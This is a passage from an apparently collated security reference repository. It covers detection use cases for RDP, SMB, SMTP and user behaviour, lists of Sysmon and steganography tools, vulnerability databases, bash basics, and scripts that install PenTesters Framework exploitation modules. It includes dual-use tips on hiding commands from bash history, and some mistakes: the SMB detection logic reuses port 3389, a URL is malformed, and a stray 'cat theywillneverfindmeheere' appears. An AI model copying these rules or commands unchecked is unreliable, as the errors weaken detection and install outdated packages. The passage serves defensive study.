sum of like network connections that start/stop in sequence that add up to anything longer than 24 hours. 28 | * **Top Connections** - Reviewing top source and destination IPs can identify potentially unauthorized or malicious network traffic. This is further enhanced if you can see a trendline of the traffic to detect abnormal spikes in activity. 29 | * **Potential Data Exfiltration -** Looking at the summed byte count of of traffic between a source and destination where the session appears to be the same, can potentially expose large, unauthorized file transfers. 30 | * **Abnormal Upload/Download Ratio** - Depending on the purpose of the device, connections will typically have an upload/download ratio that reflect that purpose. Example: Most end user devices will have web requests that are heavily trended towards download rather than upload. If that changes, it could undicate beaconing or exfiltration. This should always be correlated with spikes in connection counts as well. 31 | * **Per subnet event count anomalies.** 32 | 33 | **Unauthorized RDP Use** 34 | 35 | * Theory 36 | * RDP is a powerful remote access tool that is far too frequently overlooked. RDP should never be used outside of the network. Internal RDP connections should be restricted and heavily monitored. 37 | * Requirement 38 | * Logging of EventID 4624: Account was successfully logged on. 39 | * Logic 1 - Unauthorized internal RDP connections 40 | * Where 41 | * Detected use of RDP 42 | * EventID with Logon type 10 (RemoteInteractive) 43 | * OR 44 | * Dest Port = 3389 45 | * AND 46 | * Source is not an authorized user of RDP 47 | * Logic 2 - Unauthorized RDP in/out of the network 48 | * Where 49 | * Detected use of RDP 50 | * EventID with Logon type 10 (RemoteInteractive) 51 | * OR 52 | * Dest Port = 3389 53 | * AND 54 | * Source is 55 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 56 | * AND 57 | * Destination is NOT 58 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 59 | * OR 60 | * Source is NOT 61 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 62 | * AND 63 | * Destination is 64 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 65 | 66 | **Unauthorized SMB activity** 67 | 68 | * Theory 69 | * SMB is an integral tool within a windows network, but can have serious security flaws if not hardened properly. Restricting SMB access, versions, and enabling SMB signing can help tremendously. 70 | * Requirements 71 | * Logic 1 - SMB in/out of the network 72 | * Where 73 | * Detected use of SMB 74 | * EventID 4624 75 | * OR 76 | * Dest Port = 3389 77 | * AND 78 | * Source is 79 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 80 | * AND 81 | * Destination is NOT 82 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 83 | * OR 84 | * Source is NOT 85 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 86 | * AND 87 | * Destination is 88 | * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 89 | * Logic 2 - SMB Version 1/2 Use 90 | * Logic 3 - Unsigned SMB Traffic 91 | 92 | **Traffic to New Port** 93 | 94 | * Theory 95 | * Business activity is regular and repetitive. One a device is fully deployed in a network, it will rarely see connections with previously unused ports. By detecting connections with ports that have never previously been used, we can detect various types of potentially malicious traffic within our network. 96 | * Requirements 97 | * Logic 98 | * Where 99 | * Internal asset and traffic destination port combination has not been seen wihtin the past 90 days. 100 | 101 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/smtp.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Detection, Enrichment, and Use cases 3 | --- 4 | 5 | # Email 6 | 7 | ## **Email Server/Security Application - Use Cases** 8 | 9 | * Built-in tool alerts - These typically include responses for detection of malicious attachments, known malicious senders, and potentially malicious sender domains or URLs within the email itself. Please refer to the tool itself for documentation on its alerting capabilities. 10 | 11 | ## **SMTP - Use Cases** 12 | 13 | * Fuzzy search phishing domain detection 14 | * Fuzzy searching of email domains - Use fuzzy searching utilities of your SIEM or supplementary tool like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) to calculate Levenshtien distance of a string and detect similar domains. This use case should return nothing unless a potential typo-squatting domain is detected. This technique is extremely effective against phishing domains and targeted attacks. 15 | * Elastisearch: 16 | * `tags:smtp domain:SEARCHDOMAIN.com~ -domain:SEARCHDOMAIN.com` 17 | * The \~ character indicates a fuzzy search. You will also remove the searched domain itself from the search results. 18 | * Splunk: 19 | * Use either [Fuzzy Search for Splunk](https://splunkbase.splunk.com/app/3109/) app, or [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) via an API call. 20 | * \#NOTE: This can also be done with DNS records, but will create a significantly higher rate of false positives. 21 | * Domain match with [DNStwist](https://github.com/elceef/dnstwist) domain list - Used for expanded searching beyond the 1-2 character difference of fuzzy searching. Also allows for searching of Homograph domain usage. The best use is to use DNStwist to create a domain list as a lookup file and dynamically alert based on matches to traffic containing these domains. 22 | * Bulk phishing detection 23 | * Search for large amounts of emails from an external address sent within a short time frame. Will require adjustment to find the correct emails per minute threshold for your organization. 24 | * Will be made MUCH easier to make allow/deny lists by adding enrichment fields such as ASN and other results from WHOIS/RDAP lookups. These can be used to easily filter out known email marketing companies. 25 | * Spearphishing/Whaling detection 26 | * By referencing a list of executives and VIPs within your organization, you can set up alerting for external domains that try to leverage their names. 27 | * Unauthorized outbound SMTP detection 28 | * Email should only be coming from authorized sources. We can detect unauthorized mail relays and potential C2 activity, by limiting SMTP traffic to mail servers and other pre-approved tools, while alerting on anything else. 29 | * Unauthorized SMTP user agent detection 30 | * By looking for unwanted user agents, we can detect un approved outbound email applications. This is handy for alerting when an authorized system is compromised. 31 | * Outbound SMTP traffic anomaly detection 32 | * Either by baselining or machine learning, if we can establish a normal pattern and volume of outbound email traffic, we can set up alerting around any strange spikes in outbound email traffic that might indicate a compromised system using SMTP for a c2 channel or for further phishing activities. 33 | -------------------------------------------------------------------------------- /blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md: -------------------------------------------------------------------------------- 1 | # User Behavior monitoring 2 | 3 | Service account on a non-service related system = Alert 4 | 5 | * Unusual process by user 6 | * Start with Application Control 7 | * Machine learning can profile Powershell.exe use at startup vs a manual launch 8 | * Unusual process by time 9 | * New Login Locations 10 | * Unusual Login Time 11 | * Separate by user group. Sys admins log in a crazy times. Accountants do not. 12 | * Account/DNS Enumeration 13 | * Insider recon is done with native authorized tools 14 | * Can be locked down by security group 15 | * Can be profiled with machine learning 16 | * Most can be caught without machine learning 17 | * [https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html) 18 | * Directory service lookups 19 | * Unusual protocol use 20 | * Account Sharing 21 | * Number of workstations logged into by user within time frame 22 | * login within 1 minute of process creation or login event on a different system 23 | * user logged in externally as well as internally 24 | * Improper use of Privileged User Account 25 | * Domain admin account logging into a regular workstation = Alert 26 | 27 | Brute force logins do not require behavioral analysis. It is either evil or misconfigured. Either way, it needs a ticket. 50 failed logons in a minute. 28 | 29 | Compromised accounts are likely to generate more denied access logs. Least privilege helps make this easy to spot. 30 | 31 | Look at using a controlled jumped box for all domain admin logins. Makes it easy to track sessions and look for any logins not from the Jump Box. 32 | -------------------------------------------------------------------------------- /blue-defense/event-detection/sysmon.md: -------------------------------------------------------------------------------- 1 | # Sysmon 2 | 3 | ### [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) 4 | 5 | A Sysinternals tool that provides detailed information about process creations, network connections, and changes to file creation time. It is a wealth of information that can be used for a variety of purposes in Incident Response, Event Detection, and Threat Hunting. 6 | 7 | * [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuntu available on Github. 8 | * [Sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. 9 | * [Sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules 10 | * [Sysmon-config ](https://github.com/SwiftOnSecurity/sysmon-config)- SwiftOnSecurity's Sysmon configuration file template with default high-quality event tracing 11 | * [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log. 12 | * [SysmonSimulator](https://github.com/ScarredMonk/SysmonSimulator) - Sysmon event simulation utility which can be used to simulate the attacks to generate the Sysmon Event logs for testing the EDR detections and correlation rules by Blue teams. 13 | * [TrustedSec Sysmon Community Guide](https://www.trustedsec.com/tools/trustedsec-sysmon-community-guide/) - Everything Dave Kennedy writes/makes is gold. It is the way. 14 | * [Sysmon Threat Analysis Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) [Splunking the Endpoint: Threat Hunting with Sysmon](https://haggis-m.medium.com/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) 15 | * [Espy](https://github.com/activecm/espy/): Endpoint detection for remote hosts for consumption by RITA and Elasticsearch 16 | * [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) 17 | * [NXLog-Autoconfig](https://github.com/SMAPPER/NXLog-AutoConfig) - With no customisation, the script will install Sysmon with the [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) config, generate a NXLog config to start pulling the Sysmon and Windows Security events. 18 | * [https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html](https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html) 19 | * [https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf](https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf) 20 | 21 | ### Sysmon event types and their fields 22 | 23 | ![](<../../.gitbook/assets/image (24).png>) 24 | -------------------------------------------------------------------------------- /blue-defense/stegonography.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: I'm the data, playing the data, disguised as another data... 3 | --- 4 | 5 | # Stegonography 6 | 7 | Stegonography: The art of hiding data in something else, in order to communicate that data in a covert way. 8 | 9 | ## **Stego Tools and resources** 10 | 11 | * [Online Steghide tool](https://futureboy.us/stegano/) - These pages use the [steghide](http://steghide.sourceforge.net/) program to perform steganography, and the files generated are fully compatible with steghide. 12 | * [0xRick's Stego tool collection](https://0xrick.github.io/lists/stego/) 13 | * [https://exo.substack.com/p/the-exo-guide-to-data-cloaking](https://exo.substack.com/p/the-exo-guide-to-data-cloaking) 14 | * [Caesum's Stego Guide](http://www.caesum.com/) - Caesum's Handbook has tons of great resources for CTF challanges and one of the best Stego guides around. 15 | * [outguess](https://www.kali.org/tools/outguess/) - OutGuess is a universal tool for steganography that allows the insertion of hidden information into the redundant bits of data sources. 16 | * [snowdrop](https://www.kali.org/tools/snowdrop/) - Snowdrop provides reliable, difficult to remove steganographic watermarking of text documents and C sources 17 | * [steghide](https://www.kali.org/tools/steghide/) - Steghide is steganography program which hides bits of a data file in some of the least significant bits of another file in such a way that the existence of the data file is not visible and cannot be proven. 18 | * [stegsnow](https://www.kali.org/tools/stegsnow/) - This utility can conceal messages in ASCII text by appending whitespaces to the end of lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. And if the built-in encryption is used, the message cannot be read even if it is detected. 19 | * [https://tryhackme.com/room/ccstego](https://tryhackme.com/room/ccstego) 20 | 21 | ## Image analysis 22 | 23 | * [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - An amazing online tool that can provide different levels of photographic analysis on an image. 24 | * [Asperisolve](https://aperisolve.fr/) - Aperi'Solve is an online platform which performs layer analysis on image. The platform also uses zsteg, steghide, outguess, exiftool, binwalk, foremost and strings for deeper steganography analysis. 25 | * [Base64 to Image converter](https://codebeautify.org/base64-to-image-converter) 26 | * [StegoOnline](https://stegonline.georgeom.net/upload) - A web-based, enhanced and open-source port of StegSolve. Upload any image file, and the relevant options will be displayed. 27 | * [StegoToolKit](https://github.com/DominicBreuker/stego-toolkit) - This project is a Docker image useful for solving Steganography challenges as those you can find at CTF platforms 28 | * [zsteg](https://github.com/zed-0xff/zsteg) - Detect stegano-hidden data in PNG & BMP 29 | * [stegcracker](https://www.kali.org/tools/stegcracker/) - StegCracker is steganography brute-force utility to uncover hidden data inside files. 30 | 31 | ## Audio Stego 32 | 33 | * Audacity Audio Editor - [https://www.audacityteam.org/](https://www.audacityteam.org/) 34 | * Sonic Visualizer - [https://www.sonicvisualiser.org/](https://www.sonicvisualiser.org/) 35 | 36 | ## Bar Code Readers 37 | 38 | * [https://webqr.com/index.html](https://webqr.com/index.html) 39 | * [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/) 40 | 41 | -------------------------------------------------------------------------------- /blue-defense/vulnerability-management..md: -------------------------------------------------------------------------------- 1 | # Asset and Vulnerability Management. 2 | 3 | ## Asset Management 4 | 5 | ### Sources of Asset Data 6 | 7 | * ARP Cache - Contains IP and MAC addresses 8 | * DHCP logs - IP addresses and Hostnames 9 | * NMAP Scans - IP Addresses, Open Ports, Running Services, Possibly operating system 10 | * Powershell commands - Just about everything 11 | * SNMP - Many things 12 | * Vulnerability Management Software 13 | * Windows Management Interface 14 | * EDR/IR Tools (Velociraptor) 15 | 16 | ### Manangement Tools 17 | 18 | * [http://netdisco.org/](http://netdisco.org/) - Netdisco is a web-based network management tool suitable for small to very large networks. IP and MAC address data is collected into a PostgreSQL database using SNMP, CLI, or device APIs. 19 | * [https://www.rumble.run/product/overview/](https://www.rumble.run/product/overview/) - Simple, fast, and accurate asset inventory tracking utility. 20 | 21 | ### MAC Address Lookup 22 | 23 | * [MAC Vendor Lookup](https://www.macvendorlookup.com/) - Look up the vendor for a specific MAC Address 24 | * [macvendors.com](https://macvendors.com/) - Find MAC Address Vendors. Now. 25 | * [macaddress.io](https://macaddress.io/) - MAC address vendor lookup 26 | * [maclookup.app](https://maclookup.app/) - Find the vendor name of a device by entering an OUI or a MAC address 27 | 28 | ### References 29 | 30 | * _Defensive Security Handbook - pg. 13_ 31 | 32 | ## Vulnerability Management 33 | 34 | For Vulnerability Scanning Tools, please refer to: 35 | 36 | {% embed url="https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/red-offensive/testing-methodology/scanning-active-recon#vulnerability-scanning" %} 37 | Contains Vulnerability Scanning tools used for both Offensive and Defensive purposes. 38 | {% endembed %} 39 | 40 | * [Rapid7 Vulnerability & Exploit Database](https://www.rapid7.com/db/) is a curated repository of vetted computer software exploits and exploitable vulnerabilities. Technical details for over 180,000 vulnerabilities and 4,000 exploits are available for security professionals and researchers to review. These vulnerabilities are utilized by our vulnerability management tool [InsightVM](https://www.rapid7.com/products/insightvm/). 41 | * [InsightVM](https://www.rapid7.com/products/insightvm/) is a data-rich resource that can amplify the other solutions in your tech stack, from SIEMs and firewalls to ticketing systems. Only InsightVM integrates with 40+ other leading technologies, and with an open RESTful API, your vulnerability data makes your other tools more valuable. 42 | * [NIST NVD](https://nvd.nist.gov/vuln/search) - National Vulnerability Database 43 | * [MITRE CVE](https://cve.mitre.org/cve/search\_cve\_list.html) - Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities 44 | * [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub originated security advisories 45 | * [cloudvulndb.org](https://www.cloudvulndb.org/) - The Open Cloud Vulnerability & Security Issue Database 46 | * [osv.dev](https://osv.dev/list) - Open Source Vulnerabilities 47 | * [Vulners.com](https://vulners.com/) - Your Search Engine for Security Intelligence 48 | * [opencve.io](https://www.opencve.io/cve) - Easiest way to track CVE updates and be alerted about new vulnerabilities 49 | * [security.snyk.io](https://security.snyk.io/) - Open Source Vulnerability Database 50 | * [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - The largest open source vulnerability DB 51 | * [CVEDetails](https://www.cvedetails.com/) - The ultimate security vulnerability datasource 52 | * [VulnIQ](https://vulniq.com/) - Vulnerability intelligence and management solution 53 | * [SynapsInt](https://synapsint.com/) - The unified OSINT research tool 54 | * [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses in open source applications and cloud native infrastructure 55 | * [Vulmon](https://vulmon.com/) - Vulnerability and exploit search engine 56 | * [VulDB](https://vuldb.com/) - Number one vulnerability database 57 | * _Defensive Security Handbook: Vulnerability Management - pg. 169_ 58 | 59 | ### OpenScap 60 | 61 | The [OpenSCAP](https://www.open-scap.org/) ecosystem provides multiple tools to assist administrators and auditors with assessment, measurement, and enforcement of security baselines. The tool is charecterized for its great flexibility and interoperability, reducing the costs of performing security audits. 62 | 63 | * Latest compiled SCAP packages: [https://github.com/ComplianceAsCode/content/releases/tag/v0.1.50](https://github.com/ComplianceAsCode/content/releases/tag/v0.1.50) 64 | * Github Repo: [https://github.com/ComplianceAsCode/content](https://github.com/ComplianceAsCode/content) 65 | * `oscap` cmdline tool user manual: [http://static.open-scap.org/openscap-1.2/oscap\_user\_manual.html](http://static.open-scap.org/openscap-1.2/oscap\_user\_manual.html) 66 | * Great Red Hat Documentation on OpenSCAP: [https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/sect-scanning\_the\_system\_in\_oscap](https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/sect-scanning\_the\_system\_in\_oscap) 67 | 68 | {% embed url="https://github.com/HASecuritySolutions/VulnWhisperer" %} 69 | 70 | ### Other Vuln management platforms 71 | 72 | * [https://github.com/deepfence/ThreatMapper](https://github.com/deepfence/ThreatMapper) - Open source cloud native security observability platform. Linux, K8s, AWS Fargate and more. 73 | * [https://github.com/infobyte/faraday](https://github.com/infobyte/faraday) - Open Source Vulnerability Management Platform 74 | -------------------------------------------------------------------------------- /code-tools/bash/README.md: -------------------------------------------------------------------------------- 1 | # Bash 2 | 3 | ## Resources 4 | 5 | * [https://linuxjourney.com/](https://linuxjourney.com/) - A free, handy guide for learning Linux. Coverage begins with the fundamentals of command line navigation and basic text manipulation. It then extends to more advanced topics, such as file systems and networking. The site is well organized and includes many examples along with code snippets. Exercises and quizzes are provided as well. 6 | * [https://prep.fullstackacademy.com](https://prep.fullstackacademy.com) - In this course, you’ll learn from one of Fullstack’s top instructors, Corey Greenwald, as he guides you through learning the basics of the command line through short, digestible video lectures. Then you’ll use Fullstack’s CyberLab platform to hone your new technical skills while working through a Capture the Flag game, a special kind of cybersecurity game designed to challenge participants to solve computer security problems by solving puzzles. 7 | * [Introduction to the Command Line](https://launchschool.com/books/command\_line) - Launch School (HTML) 8 | * [The Linux Command Line](http://linuxcommand.org/tlcl.php) - William E. Shotts, Jr. (PDF) 9 | * [http://linuxcommand.org/](http://linuxcommand.org/) 10 | * [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.pdf) (PDF) 11 | * [Bash Notes for Professionals](http://goalkicker.com/BashBook/) - Compiled from StackOverflow documentation (PDF) 12 | * [The Bash Academy](http://guide.bash.academy) - Maarten Billemont (HTML) 13 | * [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html) (HTML) 14 | * [Getting Started with BASH](http://www.hypexr.org/bash\_tutorial.php) (HTML) 15 | * [Conquering the Command Line](http://conqueringthecommandline.com/book/frontmatter) - Mark Bates (HTML) 16 | * [BashGuide](http://mywiki.wooledge.org/BashGuide) - Maarten Billemont (HTML) [(PDF)](http://s.ntnu.no/bashguide.pdf) 17 | * [Bash tutorial](https://web.archive.org/web/20180328183806/http://gdrcorelec.ups-tlse.fr/files/bash.pdf) - Anthony Scemama (PDF) 18 | * [pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. 19 | * [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes.[pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. 20 | * [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes. 21 | * [bash-guide](https://github.com/Idnan/bash-guide) - is a guide to learn bash. 22 | * [bash-handbook](https://github.com/denysdovhan/bash-handbook) - for those who wanna learn Bash. 23 | * [The Bash Hackers Wiki](https://wiki.bash-hackers.org/start) - hold documentation of any kind about GNU Bash. 24 | * [https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) 25 | * [https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) 26 | * _Operator Handbook: Linux\_Commands - pg. 118_ 27 | * _Penetration Testing: Programming - pg. 75_ 28 | 29 | ### Bash Scripting 30 | 31 | * [Introduction to Bash Scripting](https://github.com/bobbyiliev/introduction-to-bash-scripting) - Bobby Iliev (Markdown, PDF) 32 | * [Writing Shell Scripts](http://linuxcommand.org/lc3\_writing\_shell\_scripts.php) - William E. Shotts, Jr. (HTML) 33 | * [Linux Shell Scripting Tutorial - A Beginner's Handbook (2002)](http://www.freeos.com/guides/lsst/) - Vivek G. Gite (HTML) 34 | * [Linux Shell Scripting Tutorial (LSST) v2.0](https://bash.cyberciti.biz/guide/Main\_Page) - Vivek Gite (HTML) 35 | * [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - M. Cooper (HTML) 36 | * [https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/](https://xapax.github.io/security/#basics\_of\_linux/bash\_scripting/) 37 | 38 | ### Training 39 | 40 | * [https://overthewire.org/wargames/bandit/](https://overthewire.org/wargames/bandit/) - CTF challange that explores the Linux Command line. 41 | -------------------------------------------------------------------------------- /code-tools/bash/cli-components.md: -------------------------------------------------------------------------------- 1 | # CLI Components 2 | 3 | ## Common Operators 4 | 5 | • `&&` (logical AND) - where the command after this operator will only execute if the first command has executed successfully\ 6 | • `||` (logical OR) - where the command after this operator will only execute if the first has failed\ 7 | • `;` (semi-colon) - where the command after this operator will execute regardless of whether the first has executed successfully or not\ 8 | • `|` (pipe) - where the command before this operator is the input for the subsequent command after the operator\ 9 | • `&` (ampersand) - sends the current command to the background\ 10 | • `>, <, >>>` (redirection) - directs the output of a command or group of commands commonly for files or streams 11 | 12 | ## Stream redirection 13 | 14 | • stdin – Standard input (the data going into the program)\ 15 | • stdout – Standard output (the data coming out of the program)\ 16 | • stderr – Standard error (any error messages generated when running the program) 17 | -------------------------------------------------------------------------------- /code-tools/bash/common-commands.md: -------------------------------------------------------------------------------- 1 | # Common Commands 2 | 3 | ## Install and Update 4 | 5 | ``` 6 | Update list of packages 7 | # sudo apt update 8 | Update all programs available in repo 9 | # sudo apt upgrade 10 | Install specific package if found in repository 11 | # sudo apt install [package name] 12 | Install specific package offline version 13 | #sudo dpkg -i [package.deb] 14 | ``` 15 | 16 | ## Understanding your device 17 | 18 | ``` 19 | Print working directory 20 | #pwd 21 | ``` 22 | 23 | ## Networking Commands 24 | 25 | ``` 26 | Show status of interfaces 27 | #ifconfig 28 | Show status of wireless interfaces 29 | #iwconfig 30 | ``` 31 | 32 | ## Services 33 | 34 | ``` 35 | Show All 36 | # systemctl list-unit-files 37 | ``` 38 | 39 | ### SSH Service 40 | 41 | ``` 42 | Start SSH Service 43 | # sudo systemctl start ssh 44 | Verify SSH is running and listening 45 | # sudo ss -antlp | grep sshd 46 | Start ssh on boot 47 | # sudo systemctl enable ssh 48 | ``` 49 | 50 | ### HTTP Service 51 | 52 | ``` 53 | Start apache web service 54 | # sudo systemctl start apache2 55 | Verify http is up and listening 56 | # sudo ss -antlp } grep apache 57 | start apache web service on boot 58 | # sudo systemctl enable apache2 59 | ``` 60 | 61 | ## Processes 62 | 63 | ``` 64 | List all processes 65 | # ps -ef 66 | Terminate process 67 | # kill [pid] 68 | Display all jobs running in current terminal sessions 69 | # jobs 70 | ``` 71 | 72 | ## Users and privileges 73 | 74 | ``` 75 | Adds user to sudoers file 76 | # adduser (username) 77 | # adduser (username) sudo 78 | ``` 79 | 80 | ## File Manipulation 81 | 82 | {% hint style="info" %} 83 | Common Directories you will use: 84 | 85 | /bin - basic programs (ls, cd, cat, etc...)\ 86 | /sbin - system programs (fdisk, mkfs, sysctl, etc...)\ 87 | /etc - config files\ 88 | /tmp - temporary files (typically deleted on boot)\ 89 | /usr/bin - applications (apt, ncat, nmap, etc...)\ 90 | /usr/share - application support and data files 91 | {% endhint %} 92 | 93 | ### File Creation 94 | 95 | ``` 96 | Create new empty file 97 | # touch (file name) 98 | Create new dir in current working dir 99 | # mkdir (dir name) 100 | ``` 101 | 102 | ### File searching 103 | 104 | ``` 105 | Shows owners, permissions and size of files in current in the directory. 106 | #ls -ahtl 107 | Searches through the directories and displays path to requested file 108 | # which (file name) 109 | Quick search to display file path 110 | # locate (file name) 111 | Locate but with other file aspects like size or format 112 | # find 113 | ``` 114 | 115 | ### Text printing 116 | 117 | ``` 118 | Prints text to cmd line 119 | # echo (text) 120 | Append text to a file 121 | # echo (text) >> (file name) 122 | ``` 123 | 124 | ### File permissions 125 | 126 | ``` 127 | View permissions for file 128 | # ls -l (file name) 129 | Change file permissions 130 | # chmod 777 (filename) 131 | ``` 132 | 133 | {% hint style="info" %} 134 | For more info on the permissions codes, see here: [https://www.guru99.com/file-permissions.html](https://www.guru99.com/file-permissions.html) 135 | {% endhint %} 136 | 137 | ### File manipulation and Searching in a file 138 | 139 | ``` 140 | Read text file 141 | # cat (file name) 142 | Search for string within given file 143 | # grep (text string) (file name) 144 | Search for all instances of old word in file name, and replace with new word 145 | # sed ‘s/(old word)/(new word)/’ (file name) 146 | Extracts a section of text from a line and output it to standard output 147 | -f is field number, -d is field delimiter 148 | #echo “text” | cut -f 2 -d “,” 149 | Used for pattern matching 150 | #awk ( input) 151 | ``` 152 | 153 | ### Comparing files 154 | 155 | ``` 156 | Compares two files and outputs resutls in 3 columns. first is unique to A, second is unique to B, third is shared 157 | # comm [fileA.txt] [fileB.txt] 158 | Compares two files 159 | # diff -c [fileA.txt] [fileB.txt] 160 | -c contect format - shows all entires in both files, “-” in the first, “+” in the second 161 | -u unified format - same as above but does not show lines that match 162 | ``` 163 | 164 | ### Monitoring files 165 | 166 | ``` 167 | Continuously displays when target file is updated. 168 | # sudo tail -f [file] 169 | Run designated command at each time interval 170 | # watch -n [time in seconds] [command] 171 | ``` 172 | 173 | ### Downloading files 174 | 175 | ``` 176 | # wget [file url] 177 | Accelerated download with multiple connections 178 | # axel [file url] 179 | -a for progress indicator 180 | -n for number of connections 181 | -o rename downloaded file 182 | ``` 183 | 184 | ## Command History 185 | 186 | * Commands entered in the terminal are tracked using the `HISTFILE` environment variable and are written to the `~/.bash_history` file when a user logs off. 187 | * it is possible for credentials and passwords to be stored as plaintext in the `/.bash_history` 188 | * Variables can also be seen when stored in the bash config file, .bashrc 189 | * One way a user can prevent credentials from being recorded is by starting each command with a leading space character. For example the command `" echo 'hello world'"` will not be saved, whereas `"echo 'hello world'"` will be. 190 | * To prevent users from hiding commands, the `HISTCONTROL` variable can be set to `"ignoredup"`, and users prevented from changing the environment variable. This will ensure all commands are captured and stored in the bash history.cat theywillneverfindmeheere 191 | 192 | ### Sudo History 193 | 194 | * The amount of time that sudo credentials are cached for can be set using the `timestamp_timeout` variable. Setting the value of `timestamp_timeout` to `0` causes sudo to require a password every time it is executed; if no value is set, it will default to 5 or 15 minutes depending on the operating system. 195 | * By default sudo will honour TTY session segregation, meaning that if you were to run `sudo` in one terminal window and then again in a separate one, you would have to authenticate both times. The `tty_tickets` flag can be used to disable session segregation, causing all sessions to use the same record. 196 | * Session timeouts are tracked using file records. The location of these files can vary depending on the flavour of Linux but often reside at `/run/sudo/ts/` (`/var/db/sudo`on macOS). The files used to track sessions persist beyond a user’s login session. If a user successfully authenticates using `sudo`, logs out, logs in again and runs `sudo` within the set timeout, they may not have to re-enter their password. 197 | -------------------------------------------------------------------------------- /code-tools/bash/install-scripts.md: -------------------------------------------------------------------------------- 1 | # Install Scripts 2 | 3 | ## Install Powershell on Linux 4 | 5 | ``` 6 | apt-get install libunwind8 7 | wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb 8 | dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb 9 | wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb 10 | dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb 11 | wget https://github/com/Powershell/Powershell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb 12 | dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb 13 | ``` 14 | 15 | ## Install PenTesters Framework 16 | 17 | ``` 18 | sudo su - 19 | apt-get update 20 | apt-get install python 21 | git clone https://github.com/trustedsec/ptf/opt/ptf 22 | cd /opt/ptf && ./ptf 23 | use modules/exploitation/install_update_all 24 | use modules/intelligence-gathering/install_update_all 25 | use modules/post-exploitation/install_update_all 26 | use modules/powershell/install_update_all 27 | use modules/vulnerability-analysis/install_update_all 28 | cd /pentest 29 | ``` 30 | -------------------------------------------------------------------------------- /code-tools/bash/nmap-diffing.md: -------------------------------------------------------------------------------- 1 | # NMAP Diffing 2 | 3 | ``` 4 | #!/bin/bash 5 | mkdir /opt/nmap_diff 6 | d=$(date +%Y-%m-%d) 7 | y=$(date -d yesterday +%Y-%m-%d) 8 | /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1 9 | if [ -e /opt/nmap_diff/scan$y.xml ]; then 10 | /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml > /opt/nmap_diff/diff.txt 11 | fi 12 | ``` 13 | -------------------------------------------------------------------------------- /code-tools/powershell/README.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | 3 | {% embed 